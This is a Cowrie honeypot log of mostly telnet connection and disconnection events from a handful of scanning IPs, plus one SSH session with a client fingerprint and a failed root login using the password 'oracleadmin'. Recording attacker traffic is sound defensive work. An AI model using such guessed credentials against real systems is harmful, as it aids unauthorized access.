{"eventid":"cowrie.session.closed","duration":31.556448698043823,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:24.937833Z","src_ip":"69.6.225.50","session":"aa84514665b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.324371576309204,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:25.057096Z","src_ip":"102.133.227.168","session":"b8727e59f685","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":45598,"dst_ip":"159.203.135.109","dst_port":23,"session":"45730496105b","protocol":"telnet","message":"New connection: 185.15.23.59:45598 (159.203.135.109:23) [session: 45730496105b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:25.118633Z"}
{"eventid":"cowrie.session.closed","duration":30.62096357345581,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:25.272511Z","src_ip":"185.15.23.59","session":"5fd13d288701","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.017866373062134,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:25.642221Z","src_ip":"185.15.23.59","session":"23388af38678","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":34250,"dst_ip":"10.17.0.5","dst_port":23,"session":"d802481e3bc7","protocol":"telnet","message":"New connection: 144.79.218.12:34250 (10.17.0.5:23) [session: d802481e3bc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:25.648739Z"}
{"eventid":"cowrie.session.closed","duration":31.476914167404175,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:25.661139Z","src_ip":"185.15.23.59","session":"e9242f1e530a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":47228,"dst_ip":"159.203.135.109","dst_port":23,"session":"16b8e4aa78f3","protocol":"telnet","message":"New connection: 185.15.23.59:47228 (159.203.135.109:23) [session: 16b8e4aa78f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:25.776323Z"}
{"eventid":"cowrie.session.closed","duration":37.2332661151886,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:25.796654Z","src_ip":"144.79.218.12","session":"bc5660203b4a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":39776,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6fef13d2458","protocol":"telnet","message":"New connection: 69.6.225.50:39776 (159.203.135.109:23) [session: e6fef13d2458]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:26.485599Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":48724,"dst_ip":"159.203.135.109","dst_port":23,"session":"7cc92a7ce262","protocol":"telnet","message":"New connection: 185.15.23.59:48724 (159.203.135.109:23) [session: 7cc92a7ce262]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:26.494787Z"}
{"eventid":"cowrie.session.closed","duration":31.378878593444824,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:26.508217Z","src_ip":"185.15.23.59","session":"0cd7508c4917","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.133.227.168","src_port":39736,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc21f2145d6f","protocol":"telnet","message":"New connection: 102.133.227.168:39736 (159.203.135.109:23) [session: dc21f2145d6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:26.710887Z"}
{"eventid":"cowrie.session.closed","duration":33.700480461120605,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:26.974502Z","src_ip":"144.79.218.12","session":"b335932d8f74","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.0278000831604,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:27.061897Z","src_ip":"185.15.23.59","session":"0254076ef017","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.74933385848999,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:27.388684Z","src_ip":"102.133.227.168","session":"06f176fe5340","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":39780,"dst_ip":"159.203.135.109","dst_port":23,"session":"197598adaf1c","protocol":"telnet","message":"New connection: 69.6.225.50:39780 (159.203.135.109:23) [session: 197598adaf1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:27.523134Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":34260,"dst_ip":"10.17.0.5","dst_port":23,"session":"53f76e7120a6","protocol":"telnet","message":"New connection: 144.79.218.12:34260 (10.17.0.5:23) [session: 53f76e7120a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:27.682667Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.133.227.168","src_port":40004,"dst_ip":"159.203.135.109","dst_port":23,"session":"945e5b60c2d4","protocol":"telnet","message":"New connection: 102.133.227.168:40004 (159.203.135.109:23) [session: 945e5b60c2d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:27.701615Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":52356,"dst_ip":"159.203.135.109","dst_port":23,"session":"e50a4f0ab958","protocol":"telnet","message":"New connection: 185.15.23.59:52356 (159.203.135.109:23) [session: e50a4f0ab958]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:27.739140Z"}
{"eventid":"cowrie.session.closed","duration":31.216911554336548,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:27.814318Z","src_ip":"69.6.225.50","session":"7302535965e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":51718,"dst_ip":"159.203.135.109","dst_port":23,"session":"daab17326c44","protocol":"telnet","message":"New connection: 69.6.225.50:51718 (159.203.135.109:23) [session: daab17326c44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:28.293757Z"}
{"eventid":"cowrie.session.closed","duration":30.582634925842285,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:28.299376Z","src_ip":"102.133.227.168","session":"f16fc5041237","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":54674,"dst_ip":"159.203.135.109","dst_port":23,"session":"cba7d1d40449","protocol":"telnet","message":"New connection: 185.15.23.59:54674 (159.203.135.109:23) [session: cba7d1d40449]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:28.723294Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":55232,"dst_ip":"159.203.135.109","dst_port":23,"session":"2867271fced0","protocol":"telnet","message":"New connection: 185.15.23.59:55232 (159.203.135.109:23) [session: 2867271fced0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:28.892974Z"}
{"eventid":"cowrie.session.closed","duration":31.384074926376343,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:28.908498Z","src_ip":"102.133.227.168","session":"23bc7c84ca31","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":55754,"dst_ip":"159.203.135.109","dst_port":23,"session":"65e417c22cbe","protocol":"telnet","message":"New connection: 185.15.23.59:55754 (159.203.135.109:23) [session: 65e417c22cbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:29.042565Z"}
{"eventid":"cowrie.session.closed","duration":30.604753971099854,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:29.059823Z","src_ip":"69.6.225.50","session":"6081ae8be82e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.419991970062256,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:29.074858Z","src_ip":"185.15.23.59","session":"4f277f8211cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.573601484298706,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:29.276423Z","src_ip":"185.15.23.59","session":"cae6c9898982","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.15335488319397,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:29.325974Z","src_ip":"102.133.227.168","session":"5c0ca4fc6e19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.421321868896484,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:29.363885Z","src_ip":"185.15.23.59","session":"ccbb9349e421","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":56364,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9c192024266","protocol":"telnet","message":"New connection: 185.15.23.59:56364 (159.203.135.109:23) [session: f9c192024266]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:29.367954Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":56484,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d891d08fbc1","protocol":"telnet","message":"New connection: 185.15.23.59:56484 (159.203.135.109:23) [session: 6d891d08fbc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:29.455697Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":56854,"dst_ip":"159.203.135.109","dst_port":23,"session":"1bd87f84d8c6","protocol":"telnet","message":"New connection: 185.15.23.59:56854 (159.203.135.109:23) [session: 1bd87f84d8c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:29.574250Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.133.227.168","src_port":40524,"dst_ip":"159.203.135.109","dst_port":23,"session":"9852227522ef","protocol":"telnet","message":"New connection: 102.133.227.168:40524 (159.203.135.109:23) [session: 9852227522ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:29.678315Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":57258,"dst_ip":"159.203.135.109","dst_port":23,"session":"a43ddc4961fb","protocol":"telnet","message":"New connection: 185.15.23.59:57258 (159.203.135.109:23) [session: a43ddc4961fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:29.696128Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":57590,"dst_ip":"159.203.135.109","dst_port":23,"session":"70ff7f72d470","protocol":"telnet","message":"New connection: 185.15.23.59:57590 (159.203.135.109:23) [session: 70ff7f72d470]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:29.848789Z"}
{"eventid":"cowrie.session.closed","duration":33.93512845039368,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:29.879516Z","src_ip":"144.79.218.12","session":"f26bdbfc34d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":51724,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c965ac99bb9","protocol":"telnet","message":"New connection: 69.6.225.50:51724 (159.203.135.109:23) [session: 3c965ac99bb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:29.996597Z"}
{"eventid":"cowrie.session.closed","duration":30.277296781539917,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:30.131593Z","src_ip":"185.15.23.59","session":"61ce7aee59ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.776687622070312,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:30.144069Z","src_ip":"185.15.23.59","session":"b7bee385efdf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.42100977897644,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:30.610267Z","src_ip":"185.15.23.59","session":"1ceb24bc2823","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":33070,"dst_ip":"159.203.135.109","dst_port":22,"session":"651ce127a2f5","protocol":"ssh","message":"New connection: 68.183.236.1:33070 (159.203.135.109:22) [session: 651ce127a2f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:30.997789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:31.002696Z","src_ip":"68.183.236.1","session":"651ce127a2f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.615752935409546,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:31.054611Z","src_ip":"69.6.225.50","session":"5b3e3c3f574a","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:31.257136Z","src_ip":"68.183.236.1","session":"651ce127a2f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.0694317817688,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:31.658402Z","src_ip":"185.15.23.59","session":"2d141f2f7d72","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.739229202270508,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:31.673266Z","src_ip":"185.15.23.59","session":"1256bfee6bb7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.44372820854187,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:31.729701Z","src_ip":"144.79.218.12","session":"5006ad9be305","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.854202032089233,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:32.080406Z","src_ip":"185.15.23.59","session":"815dafaba528","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":35260,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d7cb4dbf59e","protocol":"telnet","message":"New connection: 185.15.23.59:35260 (159.203.135.109:23) [session: 3d7cb4dbf59e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:32.208901Z"}
{"eventid":"cowrie.session.closed","duration":30.702566862106323,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:32.267699Z","src_ip":"69.6.225.50","session":"d55d152524ee","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"oracleadmin","message":"login attempt [root/oracleadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:32.314493Z","src_ip":"68.183.236.1","session":"651ce127a2f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.5411536693573,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:32.572660Z","src_ip":"185.15.23.59","session":"37b4c73866d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.25603747367859,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:33.059945Z","src_ip":"69.6.225.50","session":"0dd36b204150","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":38178,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2541e545e1d","protocol":"telnet","message":"New connection: 185.15.23.59:38178 (159.203.135.109:23) [session: e2541e545e1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:33.354074Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:33.571453Z","src_ip":"68.183.236.1","session":"651ce127a2f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":40088,"dst_ip":"159.203.135.109","dst_port":23,"session":"6784a19d9456","protocol":"telnet","message":"New connection: 185.15.23.59:40088 (159.203.135.109:23) [session: 6784a19d9456]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:33.994560Z"}
{"eventid":"cowrie.session.closed","duration":30.50232458114624,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:34.161773Z","src_ip":"185.15.23.59","session":"ff6fa5aa2b14","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.55015778541565,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:34.310241Z","src_ip":"102.133.227.168","session":"f0ac564f2ab0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":40732,"dst_ip":"159.203.135.109","dst_port":23,"session":"52dc18118b81","protocol":"telnet","message":"New connection: 185.15.23.59:40732 (159.203.135.109:23) [session: 52dc18118b81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:34.324359Z"}
{"eventid":"cowrie.session.closed","duration":31.249136447906494,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:34.392588Z","src_ip":"69.6.225.50","session":"cf018d6f58ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.058958292007446,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:34.490515Z","src_ip":"185.15.23.59","session":"558bf0a1598b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":51728,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7bde2aa9d1e","protocol":"telnet","message":"New connection: 69.6.225.50:51728 (159.203.135.109:23) [session: b7bde2aa9d1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:34.515019Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":41362,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c3528130168","protocol":"telnet","message":"New connection: 185.15.23.59:41362 (159.203.135.109:23) [session: 6c3528130168]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:34.586902Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":51738,"dst_ip":"159.203.135.109","dst_port":23,"session":"37ec506c3b7c","protocol":"telnet","message":"New connection: 69.6.225.50:51738 (159.203.135.109:23) [session: 37ec506c3b7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:34.814336Z"}
{"eventid":"cowrie.session.closed","duration":37.679299116134644,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:35.034188Z","src_ip":"144.79.218.12","session":"0b1195ae708e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.93382501602173,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:35.054603Z","src_ip":"185.15.23.59","session":"c73a02b43cbc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.189855337142944,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:35.081678Z","src_ip":"185.15.23.59","session":"94cbbcf48965","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.347904682159424,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:35.310045Z","src_ip":"185.15.23.59","session":"2c5ea24d73a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.353147745132446,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:35.366044Z","src_ip":"185.15.23.59","session":"64cf487ae0ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":43394,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b65d28fd3dd","protocol":"telnet","message":"New connection: 185.15.23.59:43394 (159.203.135.109:23) [session: 0b65d28fd3dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:35.459947Z"}
{"eventid":"cowrie.session.closed","duration":31.34733772277832,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:35.472841Z","src_ip":"102.133.227.168","session":"bc52225ebe5e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.126651287078857,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:36.059802Z","src_ip":"69.6.225.50","session":"7b26fc8cb4d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":45396,"dst_ip":"159.203.135.109","dst_port":23,"session":"86b8b4757176","protocol":"telnet","message":"New connection: 185.15.23.59:45396 (159.203.135.109:23) [session: 86b8b4757176]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:36.102151Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":45602,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6559673173a","protocol":"telnet","message":"New connection: 185.15.23.59:45602 (159.203.135.109:23) [session: b6559673173a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:36.188967Z"}
{"eventid":"cowrie.session.closed","duration":30.741822481155396,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:36.203393Z","src_ip":"185.15.23.59","session":"daa52cfc525b","protocol":"telnet"}
